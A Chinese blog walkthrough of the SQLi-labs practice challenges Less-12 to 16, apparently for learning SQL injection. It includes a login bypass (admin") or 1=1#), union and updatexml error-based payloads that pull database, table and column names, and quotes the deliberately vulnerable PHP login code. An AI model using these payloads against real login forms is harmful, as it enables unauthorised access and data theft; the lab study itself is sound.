之后我们查询数据,为了显示我们后面的查询内容,我们需要将前面的查询为错误的,我们在这里将用户名设置为1,passwd=1&uname=1' union select 1,database()#,我们可以看到查询出数据库的名字为security。

这是我们比较常用的手法,我们还可以利用其他的方式进行注入,之前我们在get注入中使用的这里也可以使用。
还有利用其他的方法,我们再后续会讲到。

Less-12

首先我们测试
我们使用'的时候,没有报错且登录失败,我们使用"的时候,报错uname=admin"&passwd=123,我们可以看到报错提示我们得知,他在双引号的后面还有一个括号就是")

接下来我们使用")来测试,结果会提示格式错误,因为我们闭合了一个"),导致多了一个,所以我们可以尝试注释掉后面的语句

我们尝试使用admin") or 1=1#来进行登录,不过我们发现最终登录成功的是Dumb,这是我们使用or之后,求的是第一个查询条件和第二个查询条件的并集,就是第一个查询结果union上第二个查询结果,因为有1=1所以最终查询出来的是所有的内容,但是他使用了mysql_fetch_array() 这个函数,这个函数会从结果集中取得一行作为关联数组,就使得

我们查看一下源码,我们可以看到如果我们在没有添加admin") or 1=1#之前他的判断条件是两个,需要用户名和密码匹配才可以,我们使用了or之后,我们的判断条件只需要用户名匹配即可,不过匹配的是几个,最后都查出了用户名和密码。

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
        echo 'Your Login name:'. $row['username'];
        echo 'Your Password:' .$row['password'];
      }
    else  
    {
        print_r(mysql_error());
    }
}

Less-13

首先我们进行测试,通过报错发现是格式是')注入
我们接着就就将后面的密码判断注释掉查看登录成功的样式,我们可以看到登录成功之后没有任何回显,但是有错误提示,所以我们可以尝试进行报错注入

uname=admin')#&passwd=123


我们使用updatexml来进行报错注入显示当前数据库,我们可以看到登录失败,但是显示出了当前数据库

uname=admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&passwd=123


接着我们查看表内容

拿到一个表名
uname=admin') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&passwd=123
一次拿到多个表名
uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&passwd=123


拿到字段名

uname=admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#&passwd=123


拿到值,这里由于长度有限制所以只拿到了部分的内容,我们可以将

这里我们可以使用报错注入和盲注两种类型,不过报错注入是比较快的。

Less-14

经过我们的测试,使用双引号加注释绕过登录
接着我们尝试注出数据

后续的操作和13相同。

Less-15

这里我们判断出了是单引号的布尔注入

后续的注入操作直接用布尔注入的步骤即可。

Less-16

经过测试,我们发现其是一个布尔注入,格式是")

后续的操作使用布尔注入常规步骤即可。

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏